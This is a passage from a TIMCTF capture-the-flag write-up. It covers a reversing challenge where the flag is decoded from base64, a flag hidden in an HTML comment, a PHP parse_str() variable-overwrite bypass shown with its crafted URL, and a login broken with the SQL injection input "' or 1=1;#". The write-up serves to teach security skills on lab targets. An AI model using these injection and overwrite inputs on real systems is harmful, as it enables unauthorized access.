byte_203302[strlen(byte_203302) - 1] = 0;
}
strcpy(v14, "VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9");
v15 = 'HGFEDCBA';
v16 = 'PONMLKJI';
v17 = 'XWVUTSRQ';
v18 = 'fedcbaZY';
v19 = 'nmlkjihg';
v20 = 'vutsrqpo';
v21 = '3210zyxw';
v22 = '/+987654';
v23 = 0;
strcpy(v12, "NOOOOOOOOOOOOOOOOOO\n");
strcpy(v13, "Yay, you got the flag!\n");
v6 = 0;
v4 = 0;
for ( i = 0; i < strlen(byte_203302); i += 3 )
{
v5 = byte_203302[i + 2] | ((byte_203302[i + 1] | (byte_203302[i] << 8)) << 8);
for ( j = 0; j <= 2; ++j )
{
if ( !byte_203302[i + j] )
v4 = 1;
}
for ( k = 3; k >= 0; --k )
{
v3 = 0;
for ( l = 5; l >= 0; --l )
{
if ( v5 & (1 << (6 * k + l)) )
v3 |= 1 << l;
}
if ( v3 )
{
v24[v6] = *(&v15 + v3);
}
else if ( v4 )
{
v24[v6] = 61;
}
else
{
v24[v6] = 65;
}
++v6;
}
}
v1 = strlen(v14);
if ( v1 == strlen(v24) )
{
for ( m = 0; ; ++m )
{
if ( !v14[m] )
{
puts(v13);
exit(0);
}
if ( v14[m] != v24[m] )
break;
}
puts(v12);
}
else
{
puts(v12);
}
return __readfsqword(0x28u) ^ v25;
}
This function do base64 calculation.
Put the VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9 in v14.
just base64 decode VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9.
>>> import base64
>>> base64.b64decode('VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9')
'TIMCTF{deC3pt1ve_ExceP0ti0n_h4ndLer}'
FLAG : TIMCTF{deC3pt1ve_ExceP0ti0n_h4ndLer}
Web
Not so empty website (50pts)
This website looks empty, but trust me, it is not!
http://89.38.208.143:20001/
- We can see web site link.
- Check the html code, and we can see flag.
<!DOCTYPE html>
<html>
<head>
<title>NO FLAG</title>
</head>
<body>
<div style="margin-top:100px"><a style="font-family: San Francisco;font-size: 54px;line-height: 41px;color: #000000;">I KNOW YOU WANT A FLAG BUT I DON'T HAVE ANY!</a></div>
<!--Or I do: TIMCTF{D0_not_b3_superfic1al}-->
</body>
FLAG : TIMCTF{D0_not_b3_superfic1al}
Secret key of swag (150pts)
Our spies leaked the authentication algorithm for this site, but the login seems rigged. Is it so?
http://89.38.208.143:20002/
This is a reupload as yesterday an unintended solution was found
index.php 99b9fd6c5262ab6762059d333ced10eb
in index.php
<?php
if (!empty($_SERVER['QUERY_STRING'])) {
$query = $_SERVER['QUERY_STRING'];
$res = parse_str($query);
if (!empty($res['action'])){
$action = $res['action'];
}
}
if ($action === 'login') {
if (!empty($res['key'])) {
$key = $res['key'];
}
if (!empty($key)) {
$processed_key = strtoupper($key);
}
if (!empty($processed_key) && $processed_key === 'hax0r') {
echo file_get_contents( "flag.txt" );
}
else {
echo 'Sorry, you don\'t have enough swag to enter';
}
}
?>
- We can use parse_str() function to control $processed_key varriable.
http://89.38.208.143:20002/?action=login&processed_key=hax0r
Please inspect element, your flag is there<?php
//TIMCTF{Welcome_M4N_of_SW4G}, I have been expecting you!
?>
FLAG : TIMCTF{Welcome_M4N_of_SW4G}
Admin panel (200pts)
Your job is to hack this admin panel and login.
http://89.38.208.143:20003/
- Input
asdf@asdf.comin Email - Input
' or 1=1;#in Password
FLAG : TIMCTF{SqL_1nj3ct1on_1s_b4ck_1n_town}
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